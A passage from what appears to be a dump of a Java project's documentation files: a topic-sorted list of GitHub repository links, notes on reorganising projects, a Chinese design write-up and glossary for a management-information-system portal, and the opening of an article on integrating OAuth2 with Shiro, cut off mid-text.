迁移到ssh里面\nzb-shiro\\   合并到ruoyi\n \njun_administrative\\\njun_ask_discuss\\\njun_blog\\\njun_bos\\\njun_crm\\\njun_edu\\ 外网调试\njun_erp\\\njun_finance\\\njun_flybbs\\\njun_hr\\\njun_itselfservice\\\njun_mis\\\njun_music\\\njun_spring\\\njun_wms\\\nJar包下载网视频教程\\\n百度云爬虫视频教程\\\n百度云搜索视频教程\\\n博客采集系统视频教程\\\n博客系统视频教程\\\n客户关系视频教程\\\n请假系统视频教程\\\n设备系统视频教程\\\n实用cms系统视频教程\\\n支付系统视频教程\\\npom.xml\n \n\n\nNetty\nhttps://blog.csdn.net/yuanzhenwei521/article/details/79194275\n分布式锁\nhttps://github.com/learninghard-lizhi/common-util\nhttps://www.cnblogs.com/zhili/p/redisdistributelock.html\n流程引擎\nhttps://github.com/snakerflow-starter/snakerflow-spring-boot-starter\n表单引擎\nhttps://github.com/xrogzu/dynamic-form\nhttps://github.com/9499574/layui-form-create\nhttps://github.com/9499574/layui-transfer\nhttps://github.com/9499574/transferTable\n代码生成\nhttps://github.com/codeYoke/auto-code\nhttps://github.com/xkcoding/spring-boot-demo\nhttps://github.com/wushu0725/codegen\nhttps://github.com/pkxing/CodeGenerator\nhttps://github.com/mijingling/MybatisGeneratorTool\nhttps://github.com/hbyscl/single-table-generate\nhttps://github.com/jackliul/dnyGenerateCode\nAPI\nhttps://github.com/TommyLemon/APIAuto\nWebsocket\nhttps://github.com/liuyangming/ByteTCC/\nhttps://github.com/sd4324530/fastlock\nhttps://github.com/sd4324530/fastrpc\nhttps://github.com/sd4324530/fastexcel\nnginx分发\nhttps://blog.csdn.net/cc_want/article/details/83780435\n网页特效集锦系统\n来自 <https://github.com/thinkgem/webeffect>\nSpringMVC 方法里返回json或跳到一个页面\n来自 <https://blog.csdn.net/change_on/article/details/73963966>\nhttps://blog.csdn.net/qq_16563637/article/details/82422729?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight\nhttps://github.com/SuiXiangjun/uniappQQmic\nhttps://blog.csdn.net/yelllowcong/article/details/79016054\n高并发秒杀\nhttps://github.com/qiurunze123/miaosha\nhttps://github.com/liyifeng1994/seckill\nJOB\nhttps://github.com/ferrari014/EasyJob\nhttps://github.com/Jstarfish/JavaKeeper\nhttps://github.com/oyjcodes/advanced-java\nhttps://github.com/UUband/uband-tech-blog\nhttps://github.com/davideuler/architecture.taobao-alibaba\nhttps://github.com/davideuler/architecture.meituan-dianping\nhttps://github.com/jobbole/awesome-java-cn\nhttps://github.com/OUYANGSIHAI/JavaInterview\n合并到jun_ssm,并重命名\nhttps://github.com/wangyushuai/inspinia_admin_java_ssm\n前端模板-合并到front里面\nhttps://github.com/wenfengSAT/wenfengSAT-UI\n \n\n\n\n财务管理\nhttps://github.com/1649865412/finance\nhttps://github.com/jesonwin/springBoot-fm\nhttps://github.com/qd-hzc/caiwufenxi\n差旅管理\nhttps://github.com/LanSunSL/trbu-256\nhttps://github.com/shmilychan/HRSystem-SSM\nERP管理\nhttps://www.bejson.com/\nhttps://github.com/cncounter/cncounter\n权限管理\nhttps://github.com/Mandelo/ssm_shiro_blog\nhttps://github.com/Heeexy/SpringBoot-Shiro-Vue\n门户\nhttps://github.com/zhupanlinch/enterprise\nhttps://github.com/a695979515/enterprise\nhttps://github.com/Ren8iaoXie/project-travel\nhttps://github.com/lh2907883/fdc_template\nhttps://github.com/AnsonZnl/makesen\nhttps://github.com/xiegengcai/caritPortal\nhttps://github.com/siteserver/template-girish\nhttps://github.com/paytonggithub/zcbs-portal\n人事\nhttps://github.com/zhupanlinch/PinPlus\nhttps://github.com/lenve/vhr\nhttps://github.com/lenve?tab=repositories\nhttps://github.com/GenshenWang/SSM_HRMS\nhttps://github.com/rainweb521/Personnel-Management-System\nERP\nhttps://github.com/zhanggyjp/CloudERP\n商城\nhttps://github.com/FGstudy/jQuery-mall\nOA\nhttps://github.com/memoryoverflow/OA\nhttps://github.com/Micheal-Bigmac/OA\nhttps://github.com/xuhuisheng/lemon\n酒店\nhttps://github.com/zxf14/HotelWorld\n财务\nhttps://github.com/sunxingtm/FPMS\nhttps://github.com/mingslife/MoneyManager\nhttps://github.comTime001/financial-management-system\n进销存\nhttps://github.com/loyin/ecp\n招聘\nhttps://github.com/webmagic-io/jobhunter\nhttps://github.com/oncestep/IndexRecruit\nhttps://github.com/HanochLzd/recruitment\nhttps://github.com/wenyaxinluoyang/zhixinRecruit\n面试\nhttps://github.com/LyricYang/Internet-Recruiting-Algorithm-Problems\n日程表\nhttps://github.com/xiewenfeng/calendarSchedule\nhttps://github.com/ShangYao/dynamic-datasource\nhttps://github.com/xuanye/xgcalendar\nDemo\nhttps://github.com/zhanglei-workspace/shopping-management-system\nmshop B2C模式的电商平台\n来自 <https://github.com/a695979515/mshop>\nhttps://github.com/a695979515/mshop\n论坛\nhttps://github.com/igaozp/SSM\n \n企业管网\nhttps://github.com/OneGISTeam/ShengRongWeb\nhttps://github.com/nd-team/grenade\nhttps://github.com/witnesslq/SYCP\nhttps://github.com/Nick-Hu1993/MyEclipse10\nhttps://github.com/qzw1210/jeecmsv6_maven\nhttps://github.com/liyifeng1994/bnuzitc\nhttps://github.com/iverson3/hft-company\nhttps://github.com/sunmaobin/quickstart-homepage\nhttps://github.com/linux-web/wechat-company\n物流系统\nhttps://github.com/Liumce/Logistics-admin\n商城系统Vue+Boot\nhttps://github.com/macrozheng/mall\n资产管理-C#-Easyui\nhttps://github.com/qq283335746/Asset\n设备管理\nhttps://github.com/h-yazhe/device-manager\nhttps://github.com/moshowgame/SpringBootCodeGenerator\nhttps://github.com/SpringCloud/spring-cloud-codegen\nhttp://github.com/thinkgem/jeesite_autocode\n项目管理系统\nhttps://github.com/wqm110/teamwork-ui\nhttps://github.com/wqm110/mk-teamwork-server\n人事管理系统\nhttps://github.com/lihengming/spring-boot-api-project-seed\nhttps://github.com/musitei/Springboot-project\n大屏驾驶舱\nhttps://github.com/zsptsf/data-visualization\n门户导航模板\nhttps://github.com/NickGrit/Front-End-Template\n报表\nhttps://github.com/weizhiqiang1995/skyeye-report\nerp\nhttps://github.com/jayjiang/erp/tree/master/JSH_ERP\nhttps://gitee.com/jishenghua/JSH_ERP\n商城\nhttps://github.com/wayn111/crowd-admin\nhttps://gitee.com/zhougaojun/KangarooAdmin\nhttps://gitee.com/lcg0124/bootdo\nhttps://github.com/wayn111/waynboot-mall\nhttps://github.com/wayn111/newbee-mall\nhttps://github.com/wayn111/waynboot-sso\nhttps://github.com/wayn111/newbee-mall-plus\nhttps://github.com/wayn111/waynboot-admin\nhttps://github.com/wayn111/litemall\nhttps://github.com/Snailclimb/JavaGuide\nhttps://github.com/wayn111/spider-community\nhttps://github.com/febsteam/FEBS-Shiro\nhttps://github.com/wayn111/waynboot-mobile\nhttps://github.com/GdeiAssistant\n "
  },
  {
    "path": "jun_java_plugins/doc/mis.md",
    "content": "### `jun_misp` 项目\n\n管理信息系统门户 Management Information System Portal fro Wujun\n\n#### 介绍\n管理信息系统门户\n\n#### 软件架构\n现状\n系统中的功能模块众多，缺少统一个用户信息门户系统以方便用户使用。\n\n1、各应用子系统相对独立，自成体系；\n\n2、信息更新不及时，各级用户查找信息困难；\n\n目标\n1、构建完整全面的安全体系，实现统一用户信息生命周期管理、统一权限管理、统一认证管理及单点登录；\n\n2、构建随需应变的工作场所基础，基本实现一个集成的、基于用户和角色可配置的，个性化可定制的、随时随地可由不同种类和级别的用户使用的工作环境。\n\n3、构建随需应变的整合框架基础，实现对现有应用子系统的无缝、灵活的整合，并为新业务系统的建设提供组织级的接口和标准，使用户门户成为企业信息化的基础标准；\n\n    4、构建随需应变的组织运维模型基础，各子系统的数据采集、资料提交等工作流程的整合，实现各个子系统数据快速方便的展现，提高工作效率；\n\n\n意义\n以用户为中心、功能板块化定制、页面风格可定制、功能聚合。根据用户类型和使用习惯生成个性化门户页面，与改用户无关的信息、功能菜单将屏蔽，紧密和相关内容优先显示。\n\n1、信息聚合到统一门户中展示；\n\n2、大大提高获取信息及信息处理的效率；\n\n3、统一的展现方式、风格；\n\n门户系统提供统一的主题和皮肤设置\n\n4、个性化定制；\n\n用户可灵活定制门口中的内容个显示风格\n\n5、不同系统整合；\n\n可以将现有的子系统，资源通过门户来进行封装，提供给用户使用。比如：有些子系统都是彼此分离的，使用和界面并不统一，通过Portal可以很容易地将这些系统提供的服务封装并呈给用户使用。\n\n个性化访问\n个人门户系统设计\n\n个性化门户定制\n1、导航和菜单定制\n\n不同专业系统用户可根据权限选择定制个人门户的导航和菜单\n\n2、容器页面布局\n\n提供多种布局供用户选择\n\n3、Themes主题和Skin皮肤；\n\n4、统一的展现方式、风格\n\n5、个性化定制。\n\n个人门户系统设计\n\n设计原则\n1、安全性原则\n\n建立权限管理和安全机制，便于各级用户行使不同的职能和权限，强化个性化门户的安全管理。\n\n2、稳定\n\n支持一定规模的并发用户访问请求\n\n防止单点故障\n\n门户系统不得对其他子系统的正常运行造成不利影响\n\n3、可扩展原则\n\n满足门户持续性发展的要求，可以灵活方便的扩展。\n\n门户的整体规划及框架设计需要具备可扩充性，前台页面设计能保证在增加widget容器后不会破坏网站的整体结构。后台设计也需要方便灵活修改。\n\n核心功能模块\n个人门户系统设计\n\n功能\n\n描述\n\n内容聚合\n\n能够把各种不同应用的内容聚合到一个统一的页面呈现给用户。\n\n基于角色的视图定制\n\n能够基于组织机构中不同的用户的角色生成不同的视图内容。例如，人力资源总监和财务经理登录后所看到的页面也是不同的。\n\n个性化\n\n用户能够根据个人喜好定制符合自己风格的页面和内容。例如，小王喜欢淡蓝色的格调，并且投资股票，则他可以选择一个淡蓝色风格的主题，并且使用一个已经定制好的股票portlet，允许小王设定此portlet的自动刷新时间和自选股等。\n\n单点登录\n\n只需登录Portal服务器一次就可以访问所有其它的应用，这意味着你无需再分别登录每一个应用。\n\n协作功能\n\n一些Portal框架可能会提供复杂的portlets用于聊天，应用程序共享，白板，在线会议，论坛等。\n\n国际化\n\n根据locale的不同呈现不同国家的文字。\n\n工作流\n\n这里主要指支持跨越不同数据源和应用的工作流。\n\n支持不同的客户端\n\n包括主流web浏览器，PDA等。\n\n1、用户应用\n\n用户单点登录，更加用户身份显示用户自定义的门户。\n\n主题皮肤布局设置\n\n业务功能快捷方式：通过有效的用户行为，对用户的的行为属性进行分析归纳，动态 生成用户常用业务的快捷菜单和个性化业务导航。 \n\n个性化工作台：为了增加用户对个性化门户门户的依赖性和便捷性，实现我的工作台功能。用户可将经常访问的功能菜单地址添加到我的工作台。\n\n内容定制功能：用户可以根据自己工作内容、常用习惯，通过鼠标拖拽的方式定制个性化门户页面。可以灵活设定页面展示风格，避免审美疲劳。可根据实际情况，个性化设置资源的显示属性，例如信息内容的列表条数，标题显示长度，显示字段，自动刷新时间间隔等。\n\n统一搜索功能：用户可集成搜索引擎，实现整个门户资源统一搜索服务。\n\n2、后台管理\n\n内容模块管理\n\n个性化属性管理\n\n安全管理\n\n系统管理\n\nWidget开发工具\n\n模块分类和存储管理\n\n3、服务支撑\n\n模块容器开发接口\n\n页面布局管理服务\n\n     模块页面聚合引擎等\n\n技术对策-方案选型\nPortal是一个基于web的应用程序，它主要提供个性化、单点登录、不同来源的内容整合以及存放信息系统的表示层。为规范Portal，SUN于2003年底制定了JSR168，它定义了Portlet标准，并给出了一个实现接口。\n\nPortlet是基于java技术的web组件，它由Portlet容器管理、并处理请求，并动态生成输出内容。Portlet是基于java的web组件，由Portlet容器管理，并由容器处理请求，生产动态内容。\n\n1、传统的基于JSR（Java Specification Request ）168或JSR286标准的Java Portlet 门户方案。Portal是一个基于web的应用程序，它主要提供个性化、单点登录、不同来源的内容整合以及存放信息系统的表示层。为规范Portal，SUN于2003年底制定了JSR168，它定义了Portlet标准，并给出了一个实现接口。Portlet是基于java技术的web组件，它由Portlet容器管理、并处理请求，并动态生成输出内容。Portlet是基于java的web组件，由Portlet容器管理，并由容器处理请求，生产动态内容。\n\n常用开源系统框架 ： \n\n       在这份标准中，被选中来作评价和测试的框架一般都是在某个行业使用比较广泛或当前比较流行的开源框架，下面列出被选中的框架及其被选中的简短理由：\n\n         Sakai 1.5（广泛的用于Virtual Research Environment(VRE)领域）\n\n        uPortal（广泛的用于Academic Institutes work领域）\n\n        GridSphere（第一个支持JSR168规范的开源portal框架）\n\n        eXo平台（当前非常流行）\n\n         Liferay（当前非常流行，良好的用户界面以及丰富的内建portlets）\n\n        StringBeans（非常易用）\n\n个人门户系统设计\n\n2、基于于JQuery技术开发的纯前端轻量级的门户框架\n\n由于web widget技术的迅速发展，widget概念是将Portlet从服务器端复杂配置管理转移到浏览器中用JS脚本配置实现，使用Js这样面向界面的DSL语言极大提高系统松耦合设计，结合使用Ajax技术，使易于扩展和定制功能带来了几乎无限的可能性，使用REST风格API可以很好的与服务器集成。纯前端JS代码跨平台支持集成Java、Net、Php等主流web应用系统。\n\n此类技术开源产品有，jpolite2、jQueryUI Portlet等。\n\n主要特点：\n\n更小的核心只有3K的最小化。\n\njQuery UI集成控制+主题。\n\nRESTful资源表示。\n\n更好的用户体验–基于网格系统的布局主题和持久性支持。\n\n更好的开发者支持-以及有组织的代码结构和行为的抽象，分离的关注，定制的易用性。\n\n无限的可扩展性-插件和小部件从各方面。\n\n关注点分离内容但HTML +内容+独立的CSS框架的JavaScript。\n\n事件和消息处理\n\n各种模块类型和模板\n\n布局持久性和主题支持\n\n技术方案-基于JQuery轻量级的门户框架\n\n\n个人门户系统设计\n\nPortal作为前端门户集成系统，需要集成后端业务子系统，将后端各个业务子系统的内容和业务整合在统一的门户页面上，供用户在统一的界面上获取各种来源的信息，而不会意识到信息的真正来源。\n\nWidget是门户中提供特定服务或信息（例如：提供日历、天气预报、公司新闻、即时消息通知等）的窗口，可通过Portal提供的Widget容器处理请求、加载并生成动态内容。一个门户主页可以有多个Widget，通过不同的Widget可以在一个界面上分别显示来自不同来源的信息。\n\nPortal提供了页面集成的柔性框架，通过加载Widget支持内容集成，并通过Widget对外进行数据提供、发出事件、接收外部应用的数据、响应外部事件，实现交互需要。\n\n技术方案- Widget容器\n\n主要包括以下内容：\n\n1、容器布局Layout；\n\n2、聚合机制；\n\n3、持久化；\n\n4、缓存机制；\n\n5、底层AJAX机制\n\n\n\n\n\n\n#### 安装教程\n1. clone此项目到本地\n2. 修改pom.xml文件，把groupId, artifactId,name 修改掉\n3. 修改pom.xml文件，把本项目所需要的依赖添加进去\n\n#### 基础篇(工具)：项目模板（mvn_template）\n- 【mvn_javaproject】[maven单体Java项目](https://github.com/wujun728/mvn_template)\n- 【mvn_webproject】[maven单体JavaWeb项目](https://github.com/wujun728/mvn_template)\n- 【mvn_spring4_multi_modules】[maven模块化Spring4的JavaWeb项目](https://github.com/wujun728/mvn_template)\n- 【mvn_spring5_multi_modules】[maven模块化Spring5的JavaWeb项目](https://github.com/wujun728/mvn_template)\n- 【mvn_spring5template】[maven单体Spring5的JavaWeb项目](https://github.com/wujun728/mvn_template)\n\n\nhttps://blog.csdn.net/u010938610/article/details/79282624\nspring cloud 实战项目搭建\nEurreke\nhttps://github.com/izerui/tomcat-redis-session-manager\nhttps://blog.csdn.net/qq_38555490/article/details/105297271\nhttps://blog.csdn.net/antma/article/details/79629584\nhttps://gitee.com/antma/SpringBootGetOpenId.git\nhttps://github.com/Thinkingcao/silence-boot\n\n\n一、名词解释\n1. 整理\nMIS 管理信息系统 Management Information System\n\nERP 企业资源计划 Enterprise Resource Planning\n\nCRM 客户关系管理 Customer Relationship Management\n\nDSS 决策支持系统 Decision Support System\n\nBPM 业务流程管理 Business Process Management\n\nOA 办公自动化系统 office Automation\n\nTPS 交易处理系统 Transaction Processing System\n\nES 专家系统 Expert System\n\nBPR 企业流程再造 Business Process Reengineering\n\nBSP 企业系统规划 Business System Planning\n\nCSF 关键成功因素法 Critical success factors\n\nMRP 物料需求计划 Material Requirement Planning\n\nMRPII 制造资源计划 Manufacturing Resource Planning\n\nSCM 供应链管理 Supply Chain Management\n\nDBS 数据库系统 Database System\n\nDBMS 数据库管理系统 Database Management System\n\nEDI 电子数据交换 Electronic data interchange\n\nEDP 电子数据处理 electronic data processing\n\nEDPS 电子数据处理系统 electronic data processing System\n\nCMMI 能力成熟度模型集成 Capability Maturity Model Integration\n\nSDLC 系统开发的生命周期法 System Development Life Cycle\n\nSADT 结构化分析与设计技术 Structured Analysis and - Design Technologies\n\nCAD 计算机辅助设计 Computer Aided Design\n\nCAM 计算机辅助制造 computer Aided Manufacturing\n\nCIMS 计算机/现代集成制造系统 Computer/contemporary Integrated Manufacturing Systems\n\nOO 面向对象 Object Oriented\n\nOOA 面向对象分析 Object Oriented Analysis\n\nOOD 面向对象设计 Object Oriented Design\n\nOOP 面相对象的编程实现 Object Oriented Programming\n\nCASE 计算机辅助软件工程方法 Computer Aided Software Engineering,\n\nDFD 数据流程图 Data Flow Diagram\n\nUML 统一建模语言 Unified Modeling Language\n\nIDSS 智能化决策支持系统\n\nGDSS 群体化决策支持系统\n\nMPS 主生产计划\n\nXML 可扩展标记语言 eXtensible Markup Language\n\nBI 商业智能 Business Intelligence\n\nECP 电子商务平台 Electronic Commerce Platform\n\nIS 基础设施系统 Infrastructure System\n\nKMS 知识管理系统 Knowledge Management System\n\nWMS 仓库管理系统 Warehouse Management System\n\nHRMS 人力资源管理系统 Human Resources Management System\n\nHCM 人力资本管理 Human Capital Management\n\nSRM 供应商关系管理 Supplier Relationship Management\n\nPLM 产品生命周期管理 Product Lifecycle Management\n\nDM 需求管理 Demand Management\n\nRFID 无线射频识别\n\nSQL 结构化查询语言\n\nLAN 局域网\n\nWAN 广域网\n\nVPN 虚拟专用网络\n\nISO9000 国际标准化组织\n\n6 σ 六西格玛，旨在生产过程中降低产品及流程的缺陷次数,防止产品变异，提升品质。\n\nE-R方法 实体-联系方法\n\n1NF 2NF 3NF 第一、二、三范式\n\n2、补充整理（来源于互联网）\n信息：指加工以后对人们的活动产生影响的数据。\n\n数据：是对客观事物的性质、状态以及相互关系等进行记载的符号。\n\n信息化：是指国民经济各部门和社会活动各领域普遍采用信息技术，利用信息资源，使得人们能在任何时间、任何地点，通过各种媒体，使用和传递所需信息，以提高工作效率、促进现代化的发展、提高人民生活质量、增强国力的过程。\n\n企业信息化：是指企业利用现代的信息技术，通过对信息资源的深度开发和广泛利用，不断提高生产、经营、管理、决策的效率和水平，提高企业经济效益和企业竞争力的过程。\n\n系统：是由相互作用和相互依赖的若干组成部分，为了某些目标结合而成的有机整体。\n\n信息系统：是以计算机、网络及其它信息技术为核心，为实现某些系统目标，对信息资源进行处理的信息。\n\n管理：管理者或管理机构，在一定范围内，通过计划、组织、控制、领导等工作，对组织所拥有的资源进行合理配置和有效使用，以实现组织预定目标的过程。\n\n虚拟组织：是由若干独立实在的企业组成的临时性、动态的“虚拟”的企业。\n\n组织扁平化：是指通过组织结构的调整，消减中间管理层数量的工作过程。\n\n企业流程再造（BPR）：是对企业流程所进行的根本性的再思考和彻底的再设计，以使企业的速度、质量、服务和成本等关键业绩指标获得根本性的改善。\n\n企业流程：是指生产或服务过程中的一连串活动的工作流程。\n\n企业资源规划（ERP）：是一个集合企业内部的所有资源，进行有效的计划和控制，以期达到最有效的计划和控制，达到最大效益的集成系统。\n\n数据库管理系统（DBMS）：是对计算机中所存放的大量数据进行组织、管理、查询并提供一定处理功能的大型系统软件。\n\n关键成功因素法（CSF）：是分析出企业成功的关键因素，围绕关键因素识别企业的主要信息需求和相关工作的规划方法。\n\n企业系统规划（BSP）：是根据企业目标制定MIS规划的方法。\n\n生命周期：一个信息系统从它的提出、开发、应用到系统的更新，经历了一个发生、发展和灭亡的循环过程。\n\n生命周期法：生命周期法要求系统开发按照步骤逐步完成开发任务，对每一个开发阶段规定了各自的任务、流程、目标等内容，从而使开发工作规范统一，易于管理和控制。\n\n原型法：根据用户提出的基本要求，采用快速技术，在短时间内，开发出一个简单的带有实践性的、可执行的系统原型，交给用户试用，开发人员根据用户反馈的信息，对系统原型进行修改、完善，再交给用户试用，反复这个过程，直至产生用户满意的系统原型为止。\n\n面向对象：按人们认识客观世界的系统思维方法，采用基于对象的概念建立模型，模拟客观世界分析、设计、实现软件的办法。\n\n对象：是客观世界里的任何实体的抽象，是客观世界实体的软件模型，由数据和方法两部分组成。\n\n封装：将对象的数据和操作（方法）合并在一起，称为封装。\n\n类：是对一类相似对象的描述，这些对象具有相同的属性和行为、相同的变量和方法实现。\n\n继承：把若干个对象类组成一个层次结构的系统，下层的系统具有和上层父类相同的特性，称为继承。\n\nIT外包：是将组织中与信息相关的活动，部分或全部交给组织外的信息服务提供者来完成。\n\n供应链：指具有供求关系的上下游企业所构成的组织链条。涉及产品设计、生产以及将产品传递到市场上的所有企业构成供应链。\n\n供应链管理：是指协调供应链中生产、存货、选址以及运输活动，从而在市场达到响应速度和效率的最佳组合。\n\n电子商务：狭义上讲，电子商务是指网上进行交易活动，包括通过Internet买卖产品和提供服务。广义上讲，电子商务是指利用网络来解决商业交易问题，降低产、供、销成本问题，开拓新市场，创造新商机，通过新的网络技术手段，从而增加企业利润的所有商业活动。\n\n数据流程图：是一种用户便于用户理解、分析系统数据流程的图形工具。它摆脱了系统的物理内容，精确地在逻辑上描述系统的功能、输入、输出和数据存储等。\n\n外部实体：是指系统以外与系统有联系的人或事物。\n\n数据流：表示流动的数据，它可以由一项或一组确定的数据组成。\n\n数据处理：实际表示的是一种处理功能。\n\n数据存储：表示数据保存的地方。\n\n业务流程优化：根据系统调查阶段了解到的情况，从业务全过程的角度摸清现状、找出问题的关键点，对业务流程进行彻底的分析和改进。其实质是对业务流程进行重组。\n\n数据字典：对于数据流程图中的每个符号，通过表格和文字的描述定义它们的细节，而这些描述和定义所组成的集合就是数据字典。\n\n数据元素：是最小的数据组成单位，即不可再分的数据单位。\n\n数据结构：数据结构的描述重点是数据之间的组合关系，即说明这个数据结构包括哪些成分。\n\n模块：是指独立命名并且拥有明确定义的实体。\n\n模块化：即把系统功能自顶向下地、由抽象到具体地划分为多层次的独立功能模块，每个模块完成一个特定的功能，一直分解到能简单地用程序实现为止。\n\n模块结构图：又称系统结构图、控制结构图，是用一组特殊的图形符号按照一定的规则描述系统整体结构。\n\n耦合性：指多个模块间相互联系、相互依赖的程度，主要是从模块外部考察模块独立性。\n\n内聚性：指一个模块内部各项处理相互联系的密切程度，主要是从模块内部考察模块独立性。\n\n模块的大小：是实现模块所需编写程序的行数。\n\n扇出系数：就是一个模块直接调用其他模块的个数。\n\n扇入系数：就是直接调用该模块的模块个数。\n\n代码：是用数或字符代表事物的名称、属性和状态等的符号，它以简短的符号形式代替具体的问题说明，惟一地标识系统中的某一事物。\n\n视图：是面向用户呈现出的虚表。在数据库中并没有视图的数据存储，视图是由数据库操作处理出来的一部分数据库存储文件。\n\n数据库的安全性保护：是防止机密数据被泄露，防止无权者使用、改变或有意破坏数据。\n\n数据库的完整性保护：是保护数据结构不受损害，保证数据的正确性、有效性和一致性。\n\n系统的吞吐量：是指每秒钟执行的作业数。\n\n系统的响应时间：指的是从用户向系统发出一个作用请求开始，经系统处理后，给出应答结果的时间。\n\n系统的可靠性：指系统连续无差错工作时间。\n\n集中式系统：是集设备、软件和数据于一体的工作模式。\n\n分布式系统：是将整个系统分成若干个在地理上分散的配置，业务可以独立处理，但系统在统一的工作规范和技术要求下运行。\n\n程序的可维护性：一个软件系统或组件可以被修改的容易程度。\n\n程序的可靠性：是指程序和系统的安全可靠，如数据存取的安全可靠、通信的安全可靠、操作权限的安全可靠等。\n\n程序的可阅读性：程序不仅要求逻辑正确，是计算机能够执行，而且应该层次清楚，便于人们阅读。\n\n程序效率：是指计算机资源能否被有效地使用。\n\n个人复查：指某个编程人员检查自己编写的程序。\n\n走查：是指测试人员通过人工测试方法检查程序中的错误。\n\n会审：将编程人员的讲解与走查结合在一起。\n\n黑盒测试：也称功能测试，将被测程序看作黑盒子，只检查程序功能是否按照需求规定正常使用，程序是否能适当地接受输入数据并产生正确的输出信息。\n\n白盒测试：也称结构测试，它将被测程序看作透明的白盒子。该方法按照程序的内部结构和处理逻辑来选定测试用例，对程序的逻辑路径及过程进行测试。\n\n水波效应：指一个模块的修改而导致隐含缺陷、错误的放大以及一连串的新错误的出现。\n\n\n\njun_product\n123\\\n\tBlogHtTemplate\\  迁移到jun_frontend/jun_layui\n\tblogv20180113\\  干掉 ，代码\n\tinspinia_admin_java_ssm\\    干掉，代码\n\tlayuiAdmin\\   迁移到jun_frontend/jun_layui\n\tLuGenerate\\   干掉，代码搞spring_plugin\n\tmanager-system\\  迁移到jun_boot rename jun_boot_layadmin\n\tnoteblogv5\\   干掉，源码迁移，没有脚本\n\tsimple-spring-jdbc\\  迁移到spring_jdbc\n\tsnaker-springmvc\\  干掉，代码\n\tspring-Boot_templates_layui-Admin\\   直接干掉\n\tspring-shiro-training\\  迁移到easyui\n\tsypro\\  迁移到ssh里面\n\tzb-shiro\\   合并到ruoyi\n\t\njun_administrative\\\njun_ask_discuss\\\njun_blog\\\njun_bos\\\njun_crm\\\njun_edu\\  外网调试\njun_erp\\\njun_finance\\\njun_flybbs\\\njun_hr\\\njun_itselfservice\\\njun_mis\\\njun_music\\\njun_oa\\\njun_op\\\njun_portal\\\njun_prj\\\njun_resume_java\\\njun_resume_pm\\\njun_spring\\\njun_wms\\\n项目1111111\\\n\tJar包下载网视频教程\\\n\t百度云爬虫视频教程\\\n\t百度云搜索视频教程\\\n\t博客采集系统视频教程\\\n\t博客系统视频教程\\\n\t客户关系视频教程\\\n\t请假系统视频教程\\\n\t设备系统视频教程\\\n\t实用cms系统视频教程\\\n\t支付系统视频教程\\\n\tmindskip-uexam-master.zip\n\tproject.zip\n\tproject(1).zip\n\tproject(1)(1).zip\n\t\npom.xml\n\n\n1、父pom.xml jun_system --> jun_product\nhttps://github.com/xuxueli/xxl-deep\nhttps://github.com/oneboat/ssm-lay\nhttps://github.com/search?q=lay++ssm&type=Repositories\nhttps://github.com/lcw2004/one\nhttps://github.com/thinkgem/jeesite\nhttps://github.com/thinkgem/jeesite4\nhttps://github.com/thinkgem/jeesite4-cloud\n\n\nhttps://github.com/febsteam/FEBS-Cloud\nhttps://github.com/febsteam/FEBS-Shiro\n\nssm\nhttps://github.com/Mandelo/ssm_shiro_blog\n\n\nboot\nhttps://github.com/yzcheng90/X-SpringBoot\nhttps://github.com/Heeexy/SpringBoot-Shiro-Vue\n\ncloud\nhttps://github.com/yzcheng90/ms\nhttps://github.com/yzcheng90/ms-ui\n\n\nCMS\nhttps://github.com/xujeff/tianti\n\n*****\nhttps://github.com/hope-for/hope-boot  \n\nhttps://github.com/moshowgame/SpringBootCMS\n"
  },
  {
    "path": "jun_java_plugins/doc/shiro中OAuth2 集成.md",
    "content": "# [shiro中OAuth2 集成](https://www.cnblogs.com/yuluoxingkong/p/8268094.html)\n\n \n\n**OAuth** **角色**\n\n\n**资源拥有者（resource owner）：**\n\n　　能授权访问受保护资源的一个实体，可以是一个人，那我们称之为最终用户；如新浪微博用户 zhangsan；\n\n**资源服务器（resource server）：**\n\n　　存储受保护资源，客户端通过 access token 请求资源，资源服务器响应受保护资源给客户端；存储着用户 zhangsan 的微博等信息。\n\n**授权服务器（authorization server）：**\n\n　　成功验证资源拥有者并获取授权之后，授权服务器颁发授权令牌（Access Token）给客户端。\n\n**客户端（client）：**\n\n　　如新浪微博客户端 weico、微格等第三方应用，也可以是它自己的官方应用；其本身不存储资源，而是资源拥有者授权通过后，使用它的授权（授权令牌）访问受保护资源，然后客户端把相应的数据展示出来/提交到服务器。“客户端”术语不代表任何特定实现（如应用运行在一台服务器、桌面、手机或其他设备）。 \n\n![img](https://images2017.cnblogs.com/blog/1249325/201801/1249325-20180111140023801-1216349331.png)\n\n \n\n1、客户端从资源拥有者那请求授权。授权请求可以直接发给资源拥有者，或间接的通过授权服务器这种中介，后者更可取。\n\n2、客户端收到一个授权许可，代表资源服务器提供的授权。\n\n3、客户端使用它自己的私有证书及授权许可到授权服务器验证。\n\n4、如果验证成功，则下发一个访问令牌。\n\n5、客户端使用访问令牌向资源服务器请求受保护资源。\n\n6、资源服务器会验证访问令牌的有效性，如果成功则下发受保护资源。******\n******\n\n \n\n要实现OAuth服务端，就得先理解客户端的调用流程，服务提供商实现可能也有些区别，实现OAuth服务端的方式很多，具体可能看http://oauth.net/code/\n\n> 各语言的实现有(我使用了Apache Oltu):\n>\n> - Java\n>   - [Apache Oltu](http://oltu.apache.org/)\n>   - [Spring Security for OAuth](http://static.springsource.org/spring-security/oauth/)\n>   - [Apis Authorization Server (v2-31)](https://github.com/OpenConextApps/apis)\n>   - [Restlet Framework (draft 30)](http://www.restlet.org/)\n>   - [Apache CXF](http://cxf.apache.org/)\n> - NodeJS\n>   - [NodeJS OAuth 2.0 Provider](https://github.com/t1msh/node-oauth20-provider)\n>   - [Mozilla Firefox Accounts](https://github.com/mozilla/?query=fxa). A full stack Identy Provider system developed to support Firefox market place and other services\n> - Ruby\n>   - [Ruby OAuth2 Server (draft 18)](https://github.com/nov/rack-oauth2)\n> - .NET\n>   - [.NET DotNetOpenAuth](http://www.dotnetopenauth.net/)\n>   - [Thinktecture IdentityServer](https://github.com/thinktecture/Thinktecture.IdentityServer.v3)\n\n实现主要涉及参数配置如下: \n授权码设置(code) \n第三方通过code进行获取 access_token的时候需要用到，code的超时时间为10分钟，一个code只能成功换取一次access_token即失效。 \n授权作用域(scope) \n作用域代表用户授权给第三方的接口权限，第三方应用需要向服务端申请使用相应scope的权限后，经过用户授权，获取到相应access_token后方可对接口进行调用。 \n令牌有效期(access_token) 